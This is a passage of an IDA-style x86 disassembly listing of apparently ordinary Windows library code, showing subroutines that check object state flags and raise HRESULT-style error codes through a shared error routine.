xor ebx, ebx
cmp esi, ebx
jnz short loc_69B5A920
mov ecx, dword_69B929E8
mov eax, [ecx]
call dword ptr [eax+0Ch]
mov [ebp-4], ebx
mov esi, dword_69B9B270
mov [ebp-20h], esi
cmp esi, ebx
jnz short loc_69B5A917
push 1
lea ecx, [ebp-2Ch]
call sub_69B11D3B
push 20h
call sub_69B1D897
mov ecx, eax
mov [ebp-30h], ecx
cmp ecx, ebx
jz short loc_69B5A8FA
push ebx
call sub_69B5A7CD
jmp short loc_69B5A8FC
; ---------------------------------------------------------------------------
loc_69B5A8FA: ; CODE XREF: sub_69B5A89E+52j
xor eax, eax
loc_69B5A8FC: ; CODE XREF: sub_69B5A89E+5Aj
mov esi, eax
mov [ebp-20h], esi
push esi ; Value
mov ecx, offset dword_69B9B270 ; Target
call sub_69B188DC
mov [ebp-19h], bl
lea ecx, [ebp-2Ch]
call sub_69B1976C
loc_69B5A917: ; CODE XREF: sub_69B5A89E+38j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B5A937
loc_69B5A920: ; CODE XREF: sub_69B5A89E+1Dj
cmp byte ptr [ebp-19h], 0
jz short loc_69B5A92C
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_69B5A92C: ; CODE XREF: sub_69B5A89E+86j
mov eax, esi
call sub_69B1853C
retn
sub_69B5A89E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B5A934 proc near ; DATA XREF: .text:69B5A950o
mov esi, [ebp-20h]
sub_69B5A934 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B5A937 proc near ; CODE XREF: sub_69B5A89E+7Dp
mov ecx, dword_69B929E8
mov eax, [ecx]
call dword ptr [eax+10h]
retn
sub_69B5A937 endp
; ---------------------------------------------------------------------------
align 8
dword_69B5A948 dd 0FFFFFFFFh, 0 dd offset sub_69B5A934
; =============== S U B R O U T I N E =======================================
sub_69B5A954 proc near ; CODE XREF: .text:69B5BB02p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
push 8
call sub_69B8AE52
mov eax, [esi]
push esi
call dword ptr [eax+4]
pop esi
retn 4
sub_69B5A954 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A96B proc near ; CODE XREF: sub_69B5CC64+23p
mov ecx, [ecx+3Ch]
jmp sub_69B8B8E1
sub_69B5A96B endp
; =============== S U B R O U T I N E =======================================
sub_69B5A973 proc near ; DATA XREF: sub_69B119AE+1F9o
xor edx, edx
cmp [ecx+65h], dl
jz short loc_69B5A981
mov eax, 0C00CE113h
jmp short loc_69B5A990
; ---------------------------------------------------------------------------
loc_69B5A981: ; CODE XREF: sub_69B5A973+5j
cmp [ecx+5Dh], dl
jz short locret_69B5A99B
cmp [ecx+64h], dl
jnz short locret_69B5A99B
mov eax, 0C00CE11Ch
loc_69B5A990: ; CODE XREF: sub_69B5A973+Cj
push edx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B5A99B: ; CODE XREF: sub_69B5A973+11j
; sub_69B5A973+16j
retn 4
sub_69B5A973 endp
; =============== S U B R O U T I N E =======================================
sub_69B5A99E proc near ; DATA XREF: sub_69B119AE+249o
cmp byte ptr [ecx+9Dh], 0
jz short locret_69B5A9B8
mov eax, 0C00CE113h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B5A9B8: ; CODE XREF: sub_69B5A99E+7j
retn 4
sub_69B5A99E endp
; =============== S U B R O U T I N E =======================================
sub_69B5A9BB proc near ; CODE XREF: sub_69B5C715+4Cp
; DATA XREF: sub_69B119AE+D1o
xor eax, eax
cmp [ecx+80h], al
jz short loc_69B5A9CD
mov [ecx+88h], al
jmp short locret_69B5A9DD
; ---------------------------------------------------------------------------
loc_69B5A9CD: ; CODE XREF: sub_69B5A9BB+8j
push eax
mov eax, 0C00CE10Dh
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B5A9DD: ; CODE XREF: sub_69B5A9BB+10j
retn 4
sub_69B5A9BB endp
; =============== S U B R O U T I N E =======================================
sub_69B5A9E0 proc near ; DATA XREF: sub_69B119AE+1C1o
cmp byte ptr [ecx+61h], 0
jz short locret_69B5AA00
cmp dword ptr [ecx+0BCh], 2
jz short locret_69B5AA00
mov eax, 0C00CE107h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B5AA00: ; CODE XREF: sub_69B5A9E0+4j
; sub_69B5A9E0+Dj
retn 4
sub_69B5A9E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5AA03 proc near ; CODE XREF: sub_69B5AA57+12p
; sub_69B5AA95+21p ...
pvar = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
and word ptr [ebp+pvar.anonymous_0], 0
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
push 0 ; int
push 0 ; int
lea edx, [ebp+pvar]
push edx ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 19h ; int
push eax ; cElements
push ecx ; int
call sub_69B30C4F
mov ebx, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
pop esi
test ebx, ebx
pop ebx
jz short loc_69B5AA49
mov eax, 80004005h
jmp short locret_69B5AA53
; ---------------------------------------------------------------------------
loc_69B5AA49: ; CODE XREF: sub_69B5AA03+3Dj
mov eax, [ebp+arg_4]
mov ecx, dword ptr [ebp+pvar.anonymous_0+8]
mov [eax], ecx
xor eax, eax
locret_69B5AA53: ; CODE XREF: sub_69B5AA03+44j
leave
retn 8
sub_69B5AA03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5AA57 proc near ; CODE XREF: sub_69B5AD2D+7p
; sub_69B5AD53+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
mov [ebp+var_4], 1
call sub_69B5AA03
test eax, eax
jnz short loc_69B5AA7D
cmp [ebp+var_4], eax
jz short loc_69B5AA8E
cmp [ebp+var_4], 1
jz short loc_69B5AA8E
loc_69B5AA7D: ; CODE XREF: sub_69B5AA57+19j
mov eax, 0C00CE121h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AA8E: ; CODE XREF: sub_69B5AA57+1Ej
; sub_69B5AA57+24j
mov eax, [ebp+var_4]
leave
retn 4
sub_69B5AA57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5AA95 proc near ; CODE XREF: sub_69B5AD40+7p
; sub_69B5AD70+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push off_69B99CC4 ; lpString
mov ecx, [ebp+arg_0]
or [ebp+var_4], 0FFFFFFFFh
call sub_69B2EF04
test al, al
jnz short loc_69B5AADC
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_69B5AA03
test eax, eax
jnz short loc_69B5AACB
cmp [ebp+var_4], 0FFFFFFFFh
jz short loc_69B5AADC
cmp [ebp+var_4], 1
jz short loc_69B5AADC
loc_69B5AACB: ; CODE XREF: sub_69B5AA95+28j
mov eax, 0C00CE122h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AADC: ; CODE XREF: sub_69B5AA95+18j
; sub_69B5AA95+2Ej ...
mov eax, [ebp+var_4]
leave
retn 4
sub_69B5AA95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5AAE3 proc near ; CODE XREF: sub_69B5AD8D+12p
; sub_69B5C12E+5Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0FFFFFFFFh
jnz short loc_69B5AB03
cmp [ebp+arg_4], 0
mov ecx, [ebp+arg_0]
jnz short loc_69B5AAFC
call sub_69B8FFB1
jmp short loc_69B5AB11
; ---------------------------------------------------------------------------
loc_69B5AAFC: ; CODE XREF: sub_69B5AAE3+10j
call sub_69B8FFB9
jmp short loc_69B5AB11
; ---------------------------------------------------------------------------
loc_69B5AB03: ; CODE XREF: sub_69B5AAE3+7j
cmp [ebp+arg_4], 0
jnz short loc_69B5AB11
mov ecx, [ebp+arg_0]
call sub_69B8FFC1
loc_69B5AB11: ; CODE XREF: sub_69B5AAE3+17j
; sub_69B5AAE3+1Ej ...
pop ebp
retn 0Ch
sub_69B5AAE3 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AB15 proc near ; CODE XREF: sub_69B5ACE7+8p
; sub_69B5AD07+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_69B5AB30
mov eax, 0C00CE13Fh
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AB30: ; CODE XREF: sub_69B5AB15+8j
push esi
push [esp+8+arg_4]
call sub_69B5AA03
test eax, eax
jnz short loc_69B5AB42
cmp [esi], eax
jge short loc_69B5AB53
loc_69B5AB42: ; CODE XREF: sub_69B5AB15+27j
mov eax, 0C00CE137h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AB53: ; CODE XREF: sub_69B5AB15+2Bj
pop esi
retn 8
sub_69B5AB15 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AB57 proc near ; CODE XREF: sub_69B5ACF7+8p
; sub_69B5AD1A+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_69B5AB72
mov eax, 0C00CE140h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AB72: ; CODE XREF: sub_69B5AB57+8j
push esi
push [esp+8+arg_4]
call sub_69B5AA03
test eax, eax
jnz short loc_69B5AB84
cmp [esi], eax
jge short loc_69B5AB95
loc_69B5AB84: ; CODE XREF: sub_69B5AB57+27j
mov eax, 0C00CE136h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AB95: ; CODE XREF: sub_69B5AB57+2Bj
pop esi
retn 8
sub_69B5AB57 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AB99 proc near ; CODE XREF: sub_69B5BEDE+170p
; sub_69B5C076+67p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
mov ecx, ebx
call sub_69B8C6AD
or ecx, 0FFFFFFFFh
cmp eax, 1Ch
jz short loc_69B5ABC4
cmp eax, 1
jz short loc_69B5ABC4
cmp eax, 0Dh
jz short loc_69B5ABC4
cmp eax, 0Ch
jz short loc_69B5ABC4
mov edi, ecx
mov esi, ecx
jmp short loc_69B5ABCC
; ---------------------------------------------------------------------------
loc_69B5ABC4: ; CODE XREF: sub_69B5AB99+14j
; sub_69B5AB99+19j ...
mov esi, [esp+0Ch+arg_8]
mov edi, [esp+0Ch+arg_4]
loc_69B5ABCC: ; CODE XREF: sub_69B5AB99+29j
cmp edi, ecx
jz short loc_69B5ABE9
cmp esi, ecx
jz short loc_69B5ABE9
cmp edi, esi
jle short loc_69B5ABE9
mov eax, 0C00CE138h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5ABE9: ; CODE XREF: sub_69B5AB99+35j
; sub_69B5AB99+39j ...
mov [ebx+28h], edi
pop edi
mov [ebx+24h], esi
pop esi
pop ebx
retn 0Ch
sub_69B5AB99 endp
; =============== S U B R O U T I N E =======================================
sub_69B5ABF5 proc near ; CODE XREF: sub_69B5C2C9+6Dp
; sub_69B5C433+98p ...
arg_0 = dword ptr 4
xor eax, eax
cmp [esp+arg_0], eax
jz short loc_69B5AC15
mov ecx, [ecx+60h]
cmp ecx, eax
jz short locret_69B5AC19
push [esp+arg_0]
call sub_69B1980A
neg eax
sbb eax, eax
neg eax
jmp short locret_69B5AC19
; ---------------------------------------------------------------------------
loc_69B5AC15: ; CODE XREF: sub_69B5ABF5+6j
movzx eax, byte ptr [ecx+30h]
locret_69B5AC19: ; CODE XREF: sub_69B5ABF5+Dj
; sub_69B5ABF5+1Ej
retn 4
sub_69B5ABF5 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AC1C proc near ; CODE XREF: sub_69B5B558+FEp
; sub_69B8DCB5+2C1p
mov edx, [ecx+10h]
test edx, edx
jz short locret_69B5AC3F
mov eax, [ecx+18h]
test eax, eax
jz short locret_69B5AC3F
shl eax, 4
xor eax, [edx+8]
and eax, 3F0h
xor [edx+8], eax
mov eax, [ecx+10h]
or byte ptr [eax+9], 40h
locret_69B5AC3F: ; CODE XREF: sub_69B5AC1C+5j
; sub_69B5AC1C+Cj
retn
sub_69B5AC1C endp
; =============== S U B R O U T I N E =======================================
sub_69B5AC40 proc near ; CODE XREF: sub_69B5CAA5+BCp
; sub_69B5CD56+38p
arg_4 = dword ptr 8
xor eax, eax
cmp [ecx+35h], al
jnz short locret_69B5AC71
mov edx, [esp+arg_4]
cmp edx, eax
jz short locret_69B5AC71
test byte ptr [edx+0Bh], 1Fh
jnz short locret_69B5AC71
mov ecx, [ecx]
mov ecx, [ecx]
xor edx, edx
inc edx
loc_69B5AC5C: ; CODE XREF: sub_69B5AC40+26j
cmp ecx, dword_69B99CC8[edx*4]
jz short loc_69B5AC68
inc edx
jns short loc_69B5AC5C
loc_69B5AC68: ; CODE XREF: sub_69B5AC40+23j
cmp edx, eax
jge short locret_69B5AC71
mov eax, 0C00CE018h
locret_69B5AC71: ; CODE XREF: sub_69B5AC40+5j
; sub_69B5AC40+Dj ...
retn 8
sub_69B5AC40 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AC74 proc near ; CODE XREF: sub_69B5BCA9+57p
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_69B318FB
test eax, eax
jz short loc_69B5AC8E
mov ecx, [esi]
mov [eax], ecx
mov eax, [esi+4]
mov [esi], eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B5AC8E: ; CODE XREF: sub_69B5AC74+Dj
mov eax, 8007000Eh
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
pop esi
retn
sub_69B5AC74 endp
; =============== S U B R O U T I N E =======================================
sub_69B5ACA1 proc near ; DATA XREF: sub_69B119AE+101o
xor edx, edx
cmp [ecx+5Fh], dl
jz short loc_69B5ACAF
mov eax, 0C00CE10Ah
jmp short loc_69B5ACD9
; ---------------------------------------------------------------------------
loc_69B5ACAF: ; CODE XREF: sub_69B5ACA1+5j
cmp [ecx+65h], dl
jz short loc_69B5ACBB
mov eax, 0C00CE11Fh
jmp short loc_69B5ACD9
; ---------------------------------------------------------------------------
loc_69B5ACBB: ; CODE XREF: sub_69B5ACA1+11j
mov eax, [ecx+58h]
mov eax, [eax+2Ch]
cmp [eax+28h], dl
jz short loc_69B5ACD4
xor eax, eax
inc eax
mov [ecx+66h], dl
mov [ecx+68h], eax
mov [ecx+6Ch], eax
jmp short locret_69B5ACE4
; ---------------------------------------------------------------------------
loc_69B5ACD4: ; CODE XREF: sub_69B5ACA1+23j
mov eax, 0C00CE11Dh
loc_69B5ACD9: ; CODE XREF: sub_69B5ACA1+Cj
; sub_69B5ACA1+18j
push edx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B5ACE4: ; CODE XREF: sub_69B5ACA1+31j
retn 4
sub_69B5ACA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B5ACE7 proc near ; DATA XREF: sub_69B11555+B2o
; sub_69B118B8+26o
arg_4 = dword ptr 8
push [esp+arg_4]
lea eax, [ecx+70h]
push eax
call sub_69B5AB15
retn 8
sub_69B5ACE7 endp
; =============== S U B R O U T I N E =======================================
sub_69B5ACF7 proc near ; DATA XREF: sub_69B11555+CEo
; sub_69B118B8+42o
arg_4 = dword ptr 8
push [esp+arg_4]
lea eax, [ecx+74h]
push eax
call sub_69B5AB57
retn 8
sub_69B5ACF7 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD07 proc near ; DATA XREF: sub_69B1165C+96o
; sub_69B11933+26o
arg_4 = dword ptr 8
push [esp+arg_4]
lea eax, [ecx+94h]
push eax
call sub_69B5AB15
retn 8
sub_69B5AD07 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD1A proc near ; DATA XREF: sub_69B1165C+B2o
; sub_69B11933+42o
arg_4 = dword ptr 8
push [esp+arg_4]
lea eax, [ecx+98h]
push eax
call sub_69B5AB57
retn 8
sub_69B5AD1A endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD2D proc near ; DATA XREF: sub_69B11747+26o
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B5AA57
mov [esi+68h], eax
pop esi
retn 8
sub_69B5AD2D endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD40 proc near ; DATA XREF: sub_69B11747+42o
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B5AA95
mov [esi+6Ch], eax
pop esi
retn 8
sub_69B5AD40 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD53 proc near ; DATA XREF: sub_69B1183D+26o
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B5AA57
mov [esi+0B0h], eax
mov byte ptr [esi+0B9h], 1
pop esi
retn 8
sub_69B5AD53 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD70 proc near ; DATA XREF: sub_69B1183D+42o
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B5AA95
mov [esi+0B4h], eax
mov byte ptr [esi+0B8h], 1
pop esi
retn 8
sub_69B5AD70 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AD8D proc near ; DATA XREF: sub_69B119AE+135o
cmp byte ptr [ecx+66h], 0
jz short loc_69B5ADA6
push dword ptr [ecx+6Ch]
mov eax, [ecx+58h]
push dword ptr [ecx+68h]
push dword ptr [eax+2Ch]
call sub_69B5AAE3
jmp short locret_69B5ADB7
; ---------------------------------------------------------------------------
loc_69B5ADA6: ; CODE XREF: sub_69B5AD8D+4j
mov eax, 0C00CE104h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B5ADB7: ; CODE XREF: sub_69B5AD8D+17j
retn 8
sub_69B5AD8D endp
; =============== S U B R O U T I N E =======================================
sub_69B5ADBA proc near ; DATA XREF: sub_69B119AE+27Do
push esi
mov esi, ecx
mov ecx, [esi+7Ch]
call sub_69B8C6AD
xor ecx, ecx
cmp [esi+9Dh], cl
jnz short loc_69B5ADD6
mov eax, 0C00CE120h
jmp short loc_69B5ADF7
; ---------------------------------------------------------------------------
loc_69B5ADD6: ; CODE XREF: sub_69B5ADBA+13j
cmp eax, 0Ah
jnz short loc_69B5ADEA
cmp [esi+9Ch], cl
jnz short loc_69B5AE02
mov eax, 0C00CE115h
jmp short loc_69B5ADF7
; ---------------------------------------------------------------------------
loc_69B5ADEA: ; CODE XREF: sub_69B5ADBA+1Fj
cmp [esi+9Ch], cl
jz short loc_69B5AE02
mov eax, 0C00CE114h
loc_69B5ADF7: ; CODE XREF: sub_69B5ADBA+1Aj
; sub_69B5ADBA+2Ej
push ecx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AE02: ; CODE XREF: sub_69B5ADBA+27j
; sub_69B5ADBA+36j
pop esi
retn 8
sub_69B5ADBA endp
; =============== S U B R O U T I N E =======================================
sub_69B5AE06 proc near ; CODE XREF: sub_69B5B47E+37p
; sub_69B5C3BA+32p
mov eax, [ecx+0BCh]
test eax, eax
jz short loc_69B5AE22
jle short loc_69B5AE22
cmp eax, 2
jg short loc_69B5AE22
mov eax, [ecx+58h]
mov ecx, [eax+2Ch]
jmp sub_69B8F63D
; ---------------------------------------------------------------------------
loc_69B5AE22: ; CODE XREF: sub_69B5AE06+8j
; sub_69B5AE06+Aj ...
mov eax, [ecx+58h]
mov ecx, [eax+2Ch]
jmp sub_69B8F674
sub_69B5AE06 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AE2D proc near ; CODE XREF: sub_69B5BDC8+A3p
; sub_69B5C076+97p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
mov cl, [eax+30h]
cmp cl, 3
jz short locret_69B5AE60
xor edx, edx
cmp [esp+arg_4], dl
jnz short loc_69B5AE53
cmp cl, 1
jz short loc_69B5AE53
cmp [eax+2Ch], edx
setnz cl
dec cl
and ecx, 2
jmp short loc_69B5AE5D
; ---------------------------------------------------------------------------
loc_69B5AE53: ; CODE XREF: sub_69B5AE2D+12j
; sub_69B5AE2D+17j
cmp [eax+2Ch], edx
setnz cl
lea ecx, [ecx+ecx+1]
loc_69B5AE5D: ; CODE XREF: sub_69B5AE2D+24j
mov [eax+30h], cl
locret_69B5AE60: ; CODE XREF: sub_69B5AE2D+Aj
retn 8
sub_69B5AE2D endp
; =============== S U B R O U T I N E =======================================
sub_69B5AE63 proc near ; CODE XREF: sub_69B5B3FA+1Cp
arg_0 = dword ptr 4
push esi
push edi
push 0
push [esp+0Ch+arg_0]
mov esi, ecx
call sub_69B20F54
mov edi, eax
cmp edi, 2
jnz short loc_69B5AEA3
cmp byte ptr [esi+9Fh], 0
jnz short loc_69B5AEA3
mov eax, [esi+58h]
cmp byte ptr [eax+34h], 0
jz short loc_69B5AE9C
mov eax, 0C00CE022h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5AE9C: ; CODE XREF: sub_69B5AE63+26j
mov eax, [esi+58h]
mov byte ptr [eax+34h], 1
loc_69B5AEA3: ; CODE XREF: sub_69B5AE63+14j
; sub_69B5AE63+1Dj
mov eax, edi
pop edi
pop esi
retn 4
sub_69B5AE63 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AEAA proc near ; CODE XREF: sub_69B5B263+53p
; sub_69B5C2C9+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push esi
push dword ptr [eax+0Ch]
mov esi, ecx
mov ecx, [eax+8]
push [esp+8+arg_8]
mov ecx, [ecx+14h]
push [esp+0Ch+arg_4]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, esi
call sub_69B4D7A3
pop esi
retn 0Ch
sub_69B5AEAA endp
; =============== S U B R O U T I N E =======================================
sub_69B5AED3 proc near ; CODE XREF: sub_69B5C2C9+E7p
; sub_69B8BBC2+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov ebx, ecx
jnz short loc_69B5AEE6
mov edi, dword_69B95A18
loc_69B5AEE6: ; CODE XREF: sub_69B5AED3+Bj
push 0
push edi
push 0Ch
mov ecx, ebx
call sub_69B8AB3E
mov esi, eax
test esi, esi
jnz short loc_69B5AF0A
push edi
push 0Ch
mov ecx, ebx
call sub_69B8AE52
mov esi, eax
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_69B5AF0A: ; CODE XREF: sub_69B5AED3+23j
mov edi, [esp+0Ch+arg_4]
or byte ptr [esi+0Bh], 80h
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov [esi+4], edi
pop edi
pop esi
pop ebx
retn 8
sub_69B5AED3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5AF27 proc near ; CODE XREF: sub_69B5C2C9+CBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
test esi, esi
setz byte ptr [ebp+arg_0+3]
cmp byte ptr [ebp+arg_0+3], 0
push edi
mov ebx, ecx
jz short loc_69B5AF44
mov esi, dword_69B95A18
loc_69B5AF44: ; CODE XREF: sub_69B5AF27+15j
push 0
push esi
push 8
mov ecx, ebx
call sub_69B8AB3E
mov edi, eax
test edi, edi
jnz short loc_69B5AF6D
cmp byte ptr [ebp+arg_0+3], al
jz short loc_69B5AF6D
push esi
push 8
mov ecx, ebx
call sub_69B8AE52
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_69B5AF6D: ; CODE XREF: sub_69B5AF27+2Dj
; sub_69B5AF27+32j
mov eax, [ebp+arg_4]
mov [edi+4], eax
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B5AF27 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AF7A proc near ; CODE XREF: sub_69B5B263+24p
; sub_69B5B263+5Fp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push [esp+4+arg_0]
add esi, 8
push esi
call sub_69B17320
pop esi
retn 4
sub_69B5AF7A endp
; =============== S U B R O U T I N E =======================================
sub_69B5AF99 proc near ; CODE XREF: sub_69B5B040+1Bp
; sub_69B8CB17+29p ...
push esi
mov esi, ecx
call sub_69B8F220
push eax
add esi, 2Ch
push esi
call sub_69B17320
mov eax, [esi]
pop esi
retn
sub_69B5AF99 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AFAF proc near ; CODE XREF: sub_69B5C7EA+1Fp
push esi
mov esi, ecx
lea eax, [esi+20h]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B5AFAF endp
; =============== S U B R O U T I N E =======================================
sub_69B5AFC3 proc near ; CODE XREF: sub_69B5C7EA+17p
push esi
mov esi, ecx
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B5AFC3 endp
; =============== S U B R O U T I N E =======================================
sub_69B5AFE0 proc near ; CODE XREF: sub_69B5CB6E+77p
; sub_69B5CC64+32p
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
lea eax, [esi+58h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+78h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+7Ch]
push eax
call sub_69B17320
mov eax, [esi+3Ch]
mov [esi+34h], bl
mov [esi+35h], bl
mov byte ptr [eax+2Ch], 1
mov eax, [esi+3Ch]
pop esi
mov byte ptr [eax+2Fh], 1
pop ebx
retn
sub_69B5AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B01B proc near ; CODE XREF: sub_69B5BD8C+23p
mov edx, ecx
lea ecx, [edx+8]
mov eax, [ecx+8]
test eax, eax
jz short loc_69B5B039
dec eax
imul eax, [ecx]
add eax, [ecx+4]
jz short loc_69B5B039
mov eax, [eax]
mov [edx], eax
jmp sub_69B31F0D
; ---------------------------------------------------------------------------
loc_69B5B039: ; CODE XREF: sub_69B5B01B+Aj
; sub_69B5B01B+13j
mov dword ptr [edx], offset dword_69B96178
retn
sub_69B5B01B endp
; =============== S U B R O U T I N E =======================================
sub_69B5B040 proc near ; DATA XREF: sub_69B119AE+59o
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
mov esi, ecx
call sub_69B8CBBB
push eax
lea edi, [esi+58h]
push edi
call sub_69B17320
mov ecx, [edi]
call sub_69B5AF99
mov eax, [edi]
mov ecx, [eax+2Ch]
call sub_69B8F567
mov eax, [edi]
mov eax, [eax+2Ch]
mov [eax+28h], bl
mov eax, [edi]
mov eax, [eax+2Ch]
mov byte ptr [eax+8], 1
cmp [esi+48h], bl
jnz short loc_69B5B089
mov eax, [edi]
mov ecx, [esp+0Ch+arg_0]
mov [eax+14h], ecx
loc_69B5B089: ; CODE XREF: sub_69B5B040+3Ej
mov [esi+5Ch], bl
mov [esi+5Dh], bl
mov [esi+5Eh], bl
mov [esi+5Fh], bl
mov [esi+60h], bl
mov [esi+61h], bl
mov [esi+62h], bl
mov [esi+63h], bl
mov [esi+64h], bl
mov [esi+65h], bl
mov [esi+67h], bl
call sub_69B315A6
push eax
lea eax, [esi+78h]
push eax
call sub_69B17320
or dword ptr [esi+70h], 0FFFFFFFFh
or dword ptr [esi+74h], 0FFFFFFFFh
pop edi
mov [esi+9Dh], bl
mov [esi+0A0h], bl
mov [esi+0A8h], bl
pop esi
pop ebx
retn 4
sub_69B5B040 endp
; =============== S U B R O U T I N E =======================================
sub_69B5B0D9 proc near ; CODE XREF: sub_69B5B337+24p
; DATA XREF: sub_69B119AE+ADo
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
mov esi, ecx
call sub_69B8CDB7
push eax
lea edi, [esi+7Ch]
push edi
call sub_69B17320
cmp [esi+48h], bl
jnz short loc_69B5B0FF
mov eax, [edi]
mov ecx, [esp+0Ch+arg_0]
mov [eax+14h], ecx
loc_69B5B0FF: ; CODE XREF: sub_69B5B0D9+1Bj
push ebx
lea eax, [esi+84h]
push eax
mov [esi+80h], bl
mov [esi+81h], bl
call sub_69B17320
xor eax, eax
inc eax
cmp [esi+10h], eax
mov [esi+90h], eax
setz al
or dword ptr [esi+94h], 0FFFFFFFFh
or dword ptr [esi+98h], 0FFFFFFFFh
pop edi
mov [esi+82h], bl
mov [esi+88h], bl
mov [esi+8Ch], ebx
mov [esi+9Ch], bl
mov [esi+9Dh], bl
mov [esi+0A0h], bl
mov [esi+0A8h], bl
mov [esi+9Fh], al
pop esi
pop ebx
retn 4
sub_69B5B0D9 endp
; =============== S U B R O U T I N E =======================================
